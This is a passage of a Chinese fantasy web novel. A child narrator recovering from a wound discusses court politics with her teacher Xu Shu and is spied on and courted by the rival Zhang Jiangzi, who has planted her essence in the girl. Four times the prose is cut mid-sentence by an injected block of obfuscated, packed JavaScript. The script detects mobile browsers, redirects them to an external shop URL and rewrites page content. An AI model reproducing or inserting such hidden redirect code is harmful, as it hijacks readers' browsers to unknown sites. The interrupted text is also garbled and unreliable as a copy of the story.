“……那救命之恩,”我很不情愿地开口——因为我不是很想知道这个问题的答案,但不问心中更加没底,“怎么才算报答完呢?” 总不能是殉职才算报答完吧……总感觉经常听到类似的故事,固执的古代打工人为了职位付出一切这种故事。 不知为何,听完我的问题,她看着我愣住了。她伸手抚上我脸颊旁边的碎发,帮我别到了耳后。 “如何才算报答完……”她思索了一下,回答道,“或许要看左君的打算了。” “……什么意思?”好像没有那么可怕,但是听起来,徐庶也不知道她会任职多久? “我之前是不是跟你提起过,小宝的身世很特殊?”徐庶问我。 “嗯。你说她是亲王家的女世子,但是她家人都不在了。”我答。 “是啊……都不在了。”她说,“但,人虽然不在了,爵位与封地可还好好地在那儿呢。” “哦,所以她以后会回去继承家业当亲王。”我接话道,“师父,广陵在什么地方啊。” 完全没听说过的地名。国内有一些城市是自古以来就叫一个名字的,但我没有听说过哪个大城市叫广陵。或许它中途改名了,也可能变成了某个小城市的名字。 ……我现在又不在地球上,想这个做什么。 “广陵在徐州……不对,你也不知道徐州在哪,”徐庶说,“广陵在东边,靠着大海。” ! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536107|203813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……这个世界的中国也在大陆的东边?这么巧? 东边靠海,南边靠近赤道…… …… 祂真的没有对我撒谎吗? “怎么了?”徐庶发现我突然走神,问道。 “没……我只是在想,大海是什么。”我随便扯了个谎。 “大海啊……”徐庶笑了,“大海就是……一大片,望也望不到头的水面。” “晴天下看起来很美,但是海里的水很咸。”徐庶这样说。 “水怎么会是咸咸的?”我假装自己完全不知道海洋是什么,顺着她的话头问。 “哈哈……很神奇吧?咱们吃的盐就是从这种咸咸的水里炼化出来的。”徐庶笑着,半讲半哄着回答我。 “哎,怎么说到大海上去了。等再过两年,师父带你去看看就是。见到了,你就知道大海是什么了。”徐庶双手交叉放在肚子上,继续说着,“咱们继续说小宝的事,她要顺利继承王位并不容易。” “广陵王这个位置有些特殊,是替皇帝连接朝堂事与仙门事的纽带。” “无事的年间与寻常亲王无异,但若是特殊的年岁,则要为皇帝与仙人共事。” “广陵王直系一脉,历代都会拜左君为师。虽然之前没有过女世子继承王位的先例……但只要有人能承担起这个职务,是男是女都无所谓。”徐庶一边思索一边说道,“问题更大的是朝堂那边。最近几十年,君位不安稳,上一任皇帝没有子嗣,现在的皇帝是过继来的。不知他能否坐稳那个位置。” “他若坐不稳,辩儿便难登帝位。帝位若一直不稳,只怕广陵王位重新传承之事,一来二去会不了了之。” “仙门与朝堂不能断联。没有仙门,朝堂无人能应付仙巫之事。若是没有朝堂,单单以仙门的规模,很有可能错过一些紧要的消息。”徐庶这样说道,“但宦官外戚之流可不管这些。” “皇帝多一个心腹,便多一分不受控的风险,他们手中的权力便要削弱一分,获利便要少一分。皇帝若是个拎不清的,听信了谗言,削掉了王位,问题就大了。” …… 好复杂…… “‘特殊’的年岁是什么啊……”我想了半天,只好先问我最开始觉得疑惑的问题。 “‘巫’起祸的年岁。”徐庶说。 “……张姜子来的时候?”我迟疑了,那人虽然很强,但应该也不至于惊动这么多人吧? “嗯?不是不是,”徐庶摆了摆手,“‘巫’有很多的……不是只有她一个。而且她的情况也比较特殊,跟她的冲突不能算作此类。” “哦……”我只听懂了一点,迷茫地点了点头。 因为不管是皇帝还是来作乱的巫,他们都跟我目前的人生没有什么关系,所以我很难彻底理解徐庶说的话。 原来皇帝还会有坐不稳皇位这样的情况吗?总觉得古代皇帝权力特别大,想干什么干什么,好难想象没人听皇帝的话的样子…… “到那时,不管皇位上坐着的是谁,仙门都要想办法让广陵王位顺利继承下来。”徐庶翻了个身,枕着自己的一只手,慢慢地总结,“就是不知左君打算做到什么程度。” “嗯?不是只让小宝继位就行了?”我没明白她的意思,问道。 “……”徐庶听我这么问她,迟疑了一会儿,突然笑了。 “对。”她的语气听起来变轻松了,“让小宝继位就行了。其他的,是师父想多了。” —— 随着雪慢慢融化,小锅咕嘟咕嘟地冒起泡泡,肉汤的香味逐渐弥漫在房间里。徐庶又去了储物间,拿了一碗杂粮过来。 “等会儿炖得差不多了,咱们拿肉汤煮饭吃。”徐庶把碗往旁边的矮桌上一搁,“吃饭之前先跟师父练一练!来梨梨,慢慢下床。” 虽然下雪之后就没能出门,但徐庶也没有让我整日躺在床上。她早上一般没有时间陪我,中午在家的时间也很短,只有晚上才会有很长的时间能在一起。 所以,她一般只会在晚饭前才有时间陪我玩一会——虽然听起来好像有点可怜,但我从本科开始就自己在外租房子住,已经习惯了独居的日子,现在跟长辈住一起,有另一个人会回家照顾我反而是很难得的体验。 而且如果我没受伤的话,其实也不需要她那么仔细地关注我。 她拉着我的手,慢慢地在房间里面转圈慢走。走了一会儿,她便带着我跟她练习剑招。 只是慢慢地舞着而已,比起练习更像是单纯地活动一下。一套下来我身上出了一层薄汗,气喘吁吁的,但或许是因为动作很慢的关系,伤口的部分很神奇地没有发痛。 感觉……这个伤势恢复的速度比还是纯粹的人类时快得多。 虽然还是远不如本地的这些仙人。之前听史君说,他们如果受伤,使用甘木露是能做到瞬间恢复的。但这东西在我身体里只能起到简单的镇痛作用。 “好了……我看看锅。” 我们两个吃完了一大锅兔肉萝卜汤,最后还煮了一锅粥。 徐庶喝完最后一口,收拾起碗筷,我在她出门之前叫住了她,“等一会儿……我想跟你讲一件事。” ———— *:本书中有关仙人生命体征部分的设定跟游戏原本的设定略有不同 振之是前文出现过的徐霞 16. 变故6 好久……没有来到这个奇妙的地方了。 我感受着这个宽广空间内熟悉的充盈感,盘腿闭目静坐着。 直到祂来到了我的身边。 “天尊。”我开口向她问候。 “前段时间,我在现世因为遭遇了一些事情身受重伤,一直在外人很多的地方接受治疗,耽误了修炼,也没机会跟您传信,抱歉。” “无妨,你平安就好。伤可好全了?现在身边安全吗?” “谢谢您关心,我的伤已好得差不多了。”听着她温柔的声音,我的心里也暖呼呼的,“现在在家里修养,有老师陪着我,很安全。” 我跟她仔细讲述了最近几天的遭遇和收获,讲完之后,祂沉默了很久。 我感受着她悲伤的情绪,静静地陪着她。 我再也没办法知道那位神使究竟从何处而来,又经历了什么,她的一切随着她的死彻底成了谜。我想要问女神很多问题,神界、这个世界,和她的过去,但现在的我无法开口。 过了许久,祂似乎已经平静下来了,缓缓开口道:“原来……是因为这样,才没了音讯……” “吾早先心中已有预感……只是……” “……您节哀。”我说道,“她离世的地方距离我所在的位置十分遥远,目前我还没有办法去她墓前探望。待过几年,我去替您看看她。” “我会尽力完成那位前辈没能完成的任务,不会让她之前的努力白费。” “……” “谢谢你,小友……”祂说,“只是,吾心中还有一些疑惑,想拜托你探查一二。” “您说。” “吾派遣身边使者出行至此世,并非全无准备。依此世之人能力,轻易要不了神使的性命。” “而且……她在离开吾去往你们所在的这个人间时,已在吾身边修炼许久,九印皆通。她有一样法器,是现在的你没有的。那件法器里面,应当有她留下的重要讯息,就算身死,法器是无人能摧毁的。” “她为何会死,又是死于何人之手……” “可以帮吾查清楚吗?” ! 没想到事情竟然还有转机!“请问那法器长什么模样?我该如何找到并打开它呢?” “那法器的模样很容易改变,吾不知她有没有变过自己法器的外形,”祂说道,“但不管外形如何,它的核心部分是相同的。” “它的核心,必然是沿轨道流转的星云。只是要开启它,还需你自身也拥有这法器。等你也有了它,自然就会知晓该如何使用它。” “九印皆通。只要达到这个条件,这件法器就会出现在你手中,”祂说,“务必要努力修炼啊。” “……我明白了。”看样子,还需要漫长的努力,我才能接近小白在这个世界的真相。 我自己的道路虽然已经变得清晰,但是这位神秘的神使的身份,和两个世界的秘密却越来越模糊了。 她在神界也待过很长时间……并不像我一样,是从故乡直接来到这个神秘的星球的吗? “我可以再问您几个关于神使的问题吗?”我开口,“我能理解您现在悲痛的心情,不过我实在非常需要了解她的事情。” “她与我,好像来自同一个世界,只是她早我很久认识您。”我说,“您了解她吗?您说我的灵魂是您捡来的,那么她呢?也和我一样?” “我们在的这个世界,与我们曾经待过的世界有太多相似之处了。”我说着我的疑惑,“这个世界,为什么是这个样子的?” “……” 祂沉默了。 ……为什么要对我隐瞒呢。我的心里不禁升起一股怨气。我不太理解祂的所作所为,我能感觉到祂的隐瞒并无恶意,似乎是有什么难言之隐,不是在刻意刁难我。 但是这让我更不理解了。如果我拥有更多的情报,毫无疑问我的任务会进展得更加顺利。要不是这次被张姜子一剑刺成重伤,歪打正着直接接触到了小白留下的医疗系统,仅仅只是和史君相熟,我什么时候才能有机会发现翳部这条线索? 如果什么都没发生,我会在今后很长一段时间像无头苍蝇一样到处乱碰,一边解决那些异变,一边去全世界找一个什么线索都没有的神秘人。 要浪费多少时间? 祂为什么不肯对我说?是有什么顾虑吗……? “……抱歉……” 我没想到祂竟然向我道歉了。接受一个神的道歉是种很奇怪的感觉,我一时愣在原地,不知道该作何反应。 祂继续说道,“并非是吾……刻意隐瞒……” “前任神使,也就是白君,她最后给吾传递的消息是……” “‘不可以让后来者知晓太多。’” —— 语义非常明确,而且作为白君生命末期传回的最后一条消息,这条消息一定非常重要。 但是……范围也太大了。 关于什么的信息不可以被知道太多?多少算太多?知道太多会怎么样? 而且既然知道会有后来者,那一定是来协助她完成任务的,这种情况下,为什么要限制我获得的情报数量呢。如果有人为的威胁,我处于这种一无所知的情况下,岂不是更危险吗? ……厚厚的迷雾,让我连一步之后的路都看不清。她的身影在迷雾深处,前路晦暗不明。 只有那一条线索在指引我——找到她留下的法器。 —— 好久没有修炼,感觉运转神力至全身的熟练度有些下降了,我又花了好久时间才完成一套动作,平整呼吸,睁开了眼睛。 跟我进入那个世界前一样,我盘腿坐在床上,并未移动。 但是床边被铺盖围了一圈,把我严严实实地遮蔽了起来,徐庶人却不见了。 奇怪,她去哪了……? 她在我修炼之前是靠在床头半躺着的,我跟她说会耗费一些时间,所以躺着等我就好。 难道是突然有事……我试着掀了一下那些笼罩着我的被褥,开口唤她,“师父……?” “嗯?” 哎?没走吗……我一掀开被褥,跟抱剑盘腿坐在床边的徐庶正好对上眼睛。 我双手拉过被褥,扯成一个很适合放头的弧度,脸倚在上面,看着徐庶说,“我要跟你说的事情……就是这个。” 徐庶的脸上露出了一个对我相当难以置信的表情,她伸出一只手,捏住了我的右脸—— 痛痛痛痛痛! 她微微用了一些力气捏着我,我放开攥着被褥的手,捧着她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536108|203813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手求饶。 为什么要捏我…… “你个小猫猫头……”她的语气震惊又无奈,“你身上有如此大的异变,今日才跟师父说?” “身上会散发如此刺眼的光亮,外人触碰你,也一点都感受不到,之前竟然敢独自一人在晚上修炼?” 她一边说着,还没解气,又伸出一只手扯住我的左脸,两只手一边捏一边转着圈揉。 “可是是在家里……”我拉着她的手指希望她能松开一点——她用的力气并不大,但我依旧掰不开她。武人的手纤瘦却坚硬似铁,捏着我的脸像搓面团一样揉捏。 “家里便绝对安全了?”徐庶捧着我的脸往中间挤,“就算没有歹人进来,这光亮如果被他人瞧见,你打算怎么解释?” 她说的对。我总是不小心犯一些很低级的错误。 家里也并不绝对安全,这里的房屋都只是普通的石屋,大门也只是木门,构造并不十分牢固,更别说拦住像仙人这样拥有特殊能力的人类了。 虽然这光亮其实也并不多亮,对习惯了灯光的我来说,这只是个小手电筒的亮度。但在一个工业基本没有发展的世界,一到深夜几乎一片漆黑的世界里突然亮起一个手电筒……确实有点显眼过头了! “真是的……”她终于捏够了,放开了我的脸,“等明天给你在里间挖个地窖出来,以后你在地窖里修炼。” 呜……我爬下床坐到她旁边一把抱住了她,“师咪……你对我真好……” “师咪又是什么东西。”徐庶被我的胡言乱语气笑了,“此事还有第三个人知道吗?”她手抚上我的背,往上一推,问道。 “小宝和辩儿也知道。但是我们说好了这是秘密,不跟大人们说。”我回答道。 “哎……算了。”徐庶听我这样说,叹了口气。 “对了,你一直这样修炼,会变得很强吗?”徐庶好奇地看着我问。 “我不知道,可能会吧?”真的很难想象自己变成武林高手很会打架的样子。 “哈哈,努力变强吧!”徐庶笑了,“等你什么时候跑上山不用我抱你了,就跟着师父出门游历去。” “我不能跟你一起去游历,”我很严肃地提醒她,“我要去给小宝当保镖。” 徐庶为难地看着我,“你现在这种实力……” “以后会变强的。”我很认真地对她说。 “哈哈哈哈哈……好!有志气!”徐庶揉着我的头发笑了,“努力修炼吧,以后肯定能变强!” 我的头发被她揉得乱糟糟,两个人笑成一团。 —— 等洗漱收拾完,已经很晚了。 徐庶入睡可真快啊……我转头看着她的背影。我还在酝酿睡意,她已经睡得很沉了。 没有手机玩真的好无聊……我闭上了眼睛,催促自己快点入睡。 “哈……你有如此大的秘密,怎么瞒着为师呀?” ! 森冷的女声突然从我耳边响起,我震惊地起身,却没有看到任何记忆中的身影,房间里还是只有我,和呼吸依旧平稳的徐庶。 “别找了……我的本体不在你那里。”张姜子的声音依旧那么讨厌,慢悠悠的语气里总是夹着一点讥讽,“还记得我给你吃下的东西吗?” 17. 变故7 ?! 我想也没想,手扶上了徐庶的肩头—— “你要现在叫醒她?你确定吗?”张姜子的声音听起来相当悠哉,好像完全没有忌惮的样子。 …… 我的手只是搭在了徐庶的肩头,没有继续用力摇醒她。 “对嘛。”她满意地开口,“做事之前多思虑思虑后果,免得吃许多无意义的苦。” “前辈到底想干什么?”我用气音问道。 “我说了……我要收你为徒。” “晚辈已经拜师,前辈何苦如此纠缠?难不成这世间竟然没有天资在我之上的孩子了?” “我之前就与你说过了,因为我们是同类。你只是还不懂非我族类其心必异的道理,等你因为与旁人不同被排挤构陷时,自然就懂我如今的执着了。”张姜子说到这里,语气里有一丝疲惫和厌倦,“所以哪怕你还不如人类孩子健壮,我也会收你为徒的。” “……前辈还真是直言不讳。”我说,“晚辈先前还在奇怪,您之前那样兴师动众,将阁内搅得一团乱,最后竟然又轻易把我放回来了,是何道理。今日才明白,您是顺势将我当成监……卧底来用了。” “哼……” “那之后呢?”我追问道。 “什么之后?”她问。 “如此大费周章,只是为了我一个人?”我说,“您之前就有在阁内安插卧底,只是被揪出来了吧。” “您到底想要什么?” 她沉默了一瞬,随即冷冷地笑了。 “我想要什么……还用问吗。” “……当然是要隐鸢阁阁主之位了。” —— “……以晚辈的能为,怕是只会给前辈的大业拖后腿。”我继续小声说着,“更何况晚辈并不打算在仙门久留,待长大后便要离开了。” “去给另一个小娃娃当死士?你?到时若是又遇到强敌,还要哭哭啼啼往师父怀里躲?”张姜子嗤笑道。 “……到时候晚辈自有办法,不劳前辈费心。” “你能有什么办法……”她不屑地哼了一声。“我是为了你好,徐庶教不了你什么。巫与仙是不同的,她会的东西,你靠学是学不会的。” “更何况,不是所有巫都擅长战斗,或许你就是那种巫。” “……”前辈此话怎讲?巫与仙有何不同? …… “睡着了吗?一句话也不说。”张姜子不耐地开口。 “……晚辈只是想不明白,同样拥有特殊的能力,外形也相同,巫仙究竟有何不同?”太好了。她在这个状态下只能听见我说的,没办法探听到我心里在想什么。 “区别大得很。”她悠哉道,“仙,只是次等的巫。” “……您就算对仙人有意见,人身攻击也是不好的吧。”我实在没能忍住,吐槽了一句。 “这算什么人身……攻击?至少要削掉一两根肢体才能算人身攻击吧,”张姜子语气里有了一些疑惑,“你认为我只是在说气话?我是在陈述事实。” “仙没有傩,只能直接外放仙胎的力量,自然只能算次等的巫。” “傩?仙胎?”从来没有听过的名词。 张姜子听到我问出这个问题,语气有一些微怒:“还真是一个字都没跟你多说啊。”接着,她收敛了情绪,继续跟我解释道,“仙胎是巫与仙维持生命之本,与心、脑同等重要。” “拥有仙胎,可称仙,拥有仙胎与傩,并于神木中诞生,可称巫。” “仙胎能助巫与仙吸收天地能量,并积蓄于其中。拥有仙胎便能拥有强健的体魄与长久的寿命,还能有强大的力量。” “若是有傩……便能让仙胎的力量更进一步,可以做到人与仙做不到的事情。比如……”张姜子阴沉地哼笑了两声,“将我仙胎的一部分,塞到你的身体里,然后像这样,听你所听,看你所看。” ……一时之间不知道该作何反应,这真的有点变态了我说。 “我劝你最好守好这个秘密。”她接着说,“我的仙胎一旦被服下,轻易是剥离不了的。为了不让阁内的秘密外泄……直接收拾掉你,可比帮你去掉我的仙胎容易得多。” “你不知道吧。那个阁主……他本就想处理掉你,是他的弟子非要留下你,你才能呆在仙门。” “前辈为什么会知道这件事?”我余光看向徐庶,她仍静静地躺在床上背对着我,一动都没有动。 “哼……因为本来要负责回收你的人,是我。”张姜子淡淡地吐出了一句惊人的发言。 —— “……回收是什么意思?如果我被回收了,”我艰难地开口,“我会怎么样?” “会死。”她说道,“所有的巫都是从神木中诞生的,你是那个唯一的例外。” “神木从创世之初便已存在,其中蕴含的能量无穷无尽,所以才能诞生生命,而孕育你的,只是一座普通的雪山之上,一株普通的梨木。” “而你又看起来不具人形,谁也不知道,到最后会从那里面爬出来一个什么东西。” “所以我一开始接到的命令是,回收你的仙胎置于厉生台,其余肢体可随我处理。” ……救命。 “很可怕,对不对?”张姜子的语气开始循循善诱起来,“那个你觉得和善的阁主……他只将你当成需要处理掉的麻烦。” “你以为现在就不是了吗?如果你的存在会威胁到他徒儿的安全……”她轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536109|203813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口道,“你一样要死。你觉得徐庶会保你吗?她也只当了你几天师父。” “事实上,除了我……”她如此说道,“没有谁能帮你对抗那个人。来做我的弟子,我会保你性命无虞。” …… 我一时沉默,然后,因为觉得太可笑,一时之间没能忍住说真心话的冲动。 “听起来,前辈确实是一心为我着想了。”我说,“只是,如今的我这种危险的处境,明明是因为前辈你才会这样的吧?” “在我身体里放置奇怪的东西,让我处于被猜忌的境地里,又把我出生前的事情拉到现在说,让阁主听起来是个杀伐果断,不近人情的人,觉得这样我就会因为害怕屈从你吗。” 很低级耶!故意造成了一个麻烦的困境又伸出援手,觉得能靠这种手段拉拢到我,当我三岁小孩来的! 其实是五岁小孩,很成熟了,不会被骗。 “……”她不说话了。 “而且,”我继续说道,“前辈没有像操纵当初那位长老一样,直接让我去你那里,而是试图说服我……” “是不是因为你无法完全控制我呢。” 好紧张好紧张,这个万一猜错就完蛋了……我感觉手下徐庶的手臂肌肉也绷紧了。 “……” 沉默。让人窒息的沉默。 真的不知道她还有什么手段,我有一点后悔没能控制住情绪了,这样刺激她,万一她能操纵我体内她的仙胎自爆之类的就完蛋了…… “……哈。”张姜子一声轻笑的叹息打破了寂静,“小丫头……心眼可真够多的。” 这算夸奖还是……我死死抿着嘴,控制自己不要对她说奇怪的话。 她接着开口道,“我承认,我确实没能在这件事上骗过你。不过,其他的事情我可没对你说谎。” “从今天开始,你对我而言不会有秘密可言了。” —— …… 她应该是走了。 “以后要怎么办?”我轻轻开口问道。 “张姜子虽然控制不了我,但是我的一举一动都在她的监视之下,会给你惹麻烦的吧。” 徐庶转过身来,月光透过厚厚的窗帘间的一小条缝隙,微微照亮我们两个的脸。 “你本来就接触不到什么秘密,没什么大事儿。” “我明天去跟左君报告一下这件事。你不用怕,她掀不起什么浪来。安心养伤,有师父呢。”她转过身正对着我,伸手半搂着示意我躺在她身边。 “好。” 我顺势躺下,徐庶一只手横过来,搭着我的肩膀把我抱在怀里。 “睡吧。她的事,师父替你想办法。”她一只手拍了拍我的脑袋说。 18. 小白的机关1 从那之后过去了很多天,张姜子没再出现过。 徐庶在第二天便将张姜子在我体内留了仙胎的事情上报给了左君。听徐庶说,左君的意思也是暂时看看情况。 张姜子曾是史君座下弟子,也在左君手下做过事。如今她们变成这种关系,虽然不知道究竟发生过什么,但从这件事上左君的态度来看,他似乎并不觉得张姜子算是需要处理掉的“叛徒”,对她是一种很无所谓的态度。 徐庶向他提起带我搬出云帝宫,另寻住处的提议也被他否决了。 生活就这么惊险万分地暂时回到了正轨。 考虑到毕竟还有这么一双眼睛在监视着我,我最近都没有独自出门走动,中间跟徐庶一起去过一次小作坊,花一两天时间备下了一些日用品,就再没有出过门。 虽然一直待在家里,但每一天还是过得很充实。我为了未来能更舒适方便地在这里生活,花了一点时间将需要用到的家具家电日用品等全部画在了竹简上,准备在来年一一做成它们。 用一年的时间打理好日常生活,就能专心习武以及完成任务了。 有一些家电——比如洗衣机之类,因为要使用目前能找到的材料,配合我并不太熟练的纯人工手搓零件,还要考虑到动力可能需要借助山里落差比较大的地方的水流,成品大概在体积上会比较庞大。做这种大型的东西之前,肯定要先做一些简易的小东西练练手。 要把所有需要的东西列出来,然后把它们从简单到复杂排列一下,还要排一下工期,把可以同时做的尽量放在一起。 还有很重要的一点,要把季节的因素考虑进去。有一些材料,甚至人工,可能在某些季节是找不到的,一定要一开始做计划的时候,就把这点写进计划里。这里不是一年四季都能方便地买到想要的材料和请到合适的工人的现代,一定要搞清楚他们的工作周期。 所以我才给自己预留了足足一年的时间来做成这件事。 最近的话……还是先改造一下这个老房子……我在竹简上画了一个小房子的简笔画。 “这个是房子!”小宝坐在我旁边,指着我刚画好的图案开心地说。 “那这个是什么啊,一个盒子里面……装了一个球?”辩儿拿起我画着洗衣机的那枚竹简看着,表情特别疑惑。 “嗯……这个是盘子!外面的……是师尊放东西的架子!这个画的是放在架子上的盘子!”小女孩脑子转得飞快,迅速想到了最像这个形状的东西,也不管猜得到底对不对,胸有成竹地跟辩儿解释道。 “确实很像……”辩儿说。 华佗捡起一条竹简,看了看没看懂,又捡起另一个,也没看懂,把竹简往桌上一放开口道,“哎呀在这画画有什么意思,走走走,出去滑雪吧!” “你我来送完药就该回去了。回去晚了师父要问的。”张机坐在床上桌的另一边,拿着一根竹简也在随手画着什么,手法很飘逸。 被这么一打岔,完全不记得计划列到哪里了!算了,今天就先到这里吧…… 大概是左君确认了张姜子的仙胎没有特别大的危险,所以他没有阻止小宝跑来我这里。 其实我以为小宝会等我伤好了才来找我的。毕竟呆在家里养病真的是很无聊的一件事,没有手机和游戏机,我也不能陪她玩,她肯定更想出去玩。 她也确实待不住,经常在我的床边和我说一会儿话,就跑出去玩了。 但她跑出去玩一会,又会回来和我说几句话,又觉得无聊,跑出去。这几天一直在进行这种循环。 小孩子的脑子里到底在想什么呢…… 因为她总是跑来我这里,辩儿喜欢和她一起,也经常来。华佗与张机则是被打发来送药——似乎翳部这些年纪小的徒生,除了要背书之外还必须要做这些杂事。 所以,虽然一直呆在家里,但因为太热闹了,所以也不觉得孤单。 我好奇张机在画什么,探身过去看,他在竹简上认真地画着一株兰花。 好漂亮……虽然没有细节,但是轮廓非常好看,像是某株兰花的影子留在了竹子上一样。 “只有你师父会问咱俩。他这两天在我师父那养病,天天也是这么二门迈不出大门出不去的,哪有空操心咱俩去哪儿?”华佗听张机这么说,坐在地上抱着双臂反驳道。 张机将毛笔搁在一边,转头说,“正是因为师父在养病,才更应该按时回去请安,不要让师父病中还记挂我们才好。” “记挂?什么意思?”华佗问。 “……就是别让他担心我们。”张机解释道。 华佗听张机如此说,疑惑地挠了挠头,“咱俩有什么可担心的,生病的是他又不是咱俩?” “……”张机听华佗如此说,一时之间不知该如何接话,这时小宝朝着华佗开口道,“当然会担心啦!因为师父就是会担心这个,担心那个的!” “是吗?!”华佗露出了相当惊讶的表情,“山上的师父为啥要管这许多?我以前跑江湖的时候见到的那些师父,都只指望徒弟学了东西给他赚钱的。” ……怎么突然窥视到黑暗的古代社会的一角了。 “要滑雪的话,须得跑到很远的地方去,今天是去不成了。”张机说道。 “而且要滑雪的话梨树也去不了,她一个人呆在家里会想我的!”小宝认真地附和道。 其实也还好……虽然我心里这样想着,但说出口肯定会很扫兴,就什么也没说。 “要找个不用跑很远,而且病人也能一块玩的事儿。”辩儿在一边说道。 嗯?其实不用非要带着我,你们能来看我我就很高兴……但我没来得及把这句话说出口,因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536110|203813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华佗听了辩儿这么说,似乎是被提醒到了,高兴地开口道,“我想到了!一个既不耽误我俩回去,也能去玩的地方!” “你不会是说那里……如果是那里的话确实很合适。”似乎是曾经一起去过的地方,张机听到华佗如此说,回忆了一下,表达了肯定。 “哪儿啊哪儿啊?”小宝听他们这么说,好奇心瞬间被勾起来了,连辩儿脸上都露出了期待的表情,看着华佗。 “翳部有一片老院子,听说是上一个翳部首座留下的,那里现在没人住,荒废了。但是院子里头特别大,堆雪人打雪仗都行。”华佗说。 小白留下的院子……! “只是有个大院子,有什么好去的?”小宝嘴一撇说,“云帝宫的院子更大,还不如在家玩呢。” “但是我还没去过翳部呢,”辩儿看起来似乎很感兴趣,拉着小宝的手说道,“听说翳部可大了。” “但是那里是看病的地方,每次去回来都要吃苦药,我讨厌那里。”小宝闷闷地说。 “当然不是只有大院子了!”华佗一看她不感兴趣,急着解释道,“那里还有个被废弃了很多年的小楼,听说,里面藏着宝贝,至今也没人能找到。” —— 小白以前怎么住在这么偏的地方…… 我们五个一起走在通往小白的旧院子的山路上,地上尚有一层积雪,只能慢慢地走。 华佗走在最前面,拿着一根木棍探路,张机走在最后,两人把我们三个护在中间。 “……华佗师兄,”我一边小心翼翼地走,一边开口向走在我前面的华佗问道,“还要多久才能到呀,我们都走了好久了……” “这条路走到顶上就到了!”他来不及回头看我,只是应声道,“就快了,你要是累我背着你。” “我还不累。”我听他这样说,赶紧出言拒绝,这样长的山路,他要是在这里把体力耗尽就遭了。 “梨树你累了吗?”在我后面的小宝听到我们两个的谈话,一只手拿着防摔的木棍,另一只手搭上了我的后背,“我推着你走,这样就不太累了。” “谢谢……”我心里一暖,但又有些好奇,问她,“你怎么知道这样会不太累?” “因为以前刘辩和我们去爬山的时候总喊累,”小宝说道,“我这样推着他他就不累了。” “我现在没那么容易累了!以前在宫里的时候从来没爬过山……”辩儿在更后面弱弱地抗议。 啊,城市小孩回老家过暑假的既视感。 “到了,看!”华佗侧过身给我们的视线让出了位置。 积雪覆盖的山路尽头是一个略显破旧的院门。小宝看见目的地终于到了,高兴地跑着冲了上去,打开了那扇门。 “这个院子真的好大!”她往里看了看,转过头来跟我们说道,“快来!” 19. 小白的机关2 好大……好空旷的院子。 走进院门看到这里的第一个感觉,是觉得分外萧索。医者们的院子都很大,作为曾经的翳部首座的居住地,这里自然也是如此。 院子整体呈一个类似长方形的多边形。华佗口中的小楼在院子最深处,离院门很远。院子中间没有任何装饰用的构造,是一片完整的平地,与一般用来居住的院子很不一样。 在院墙角落堆着一些轮廓很像药炉的东西,被雪覆盖着。 辩儿那边照旧有许多人跟着,但他们此时都被留在了院门外。他们似乎也习惯了这样,沉默着安静地在外面列队等候,相当守规矩,也相当辛苦。 尽快搜一下小楼里面,如果没有线索就装病带她们回家好了。 我们一起走到小楼前。终于能休息,大家把登山杖随手扔在一边,跑上了这个办公楼从地面通向一楼的楼梯。华佗与张机在走廊上随地一坐,招呼我们去坐在一起。 小宝和辩儿先我一步过去,而我却很犹豫。 这个天气坐在地上……我蹲下摸了摸地面,手上传来的温度冰冷如铁。 ……哪怕是没有受伤的时候也是不敢坐的。 “嗯?怎么了?”华佗看我没有直接坐下,而是在做奇怪的动作,开口问道。 “地上太冰了,师父不让我在太冷的地方呆着。”我解释道。 我转头看了看走廊的木头围栏,这个高度对如今的我来说有点太高了……但是坐在围栏上肯定没有直接坐在地上这么冷。 我把积雪拂去,双手抱住栏杆,三,二,一—— 跨上去了!跨上去之后就能坐正了! 终于能坐着,我长舒了一口气。总觉得有点难受,不知是吸入了太多的冷空气,还是伤口在发痛,胸前感觉闷闷的。 “我也要坐在那上面!”小宝看我坐在围栏上很新鲜,也跑过来手脚并用爬了上来。 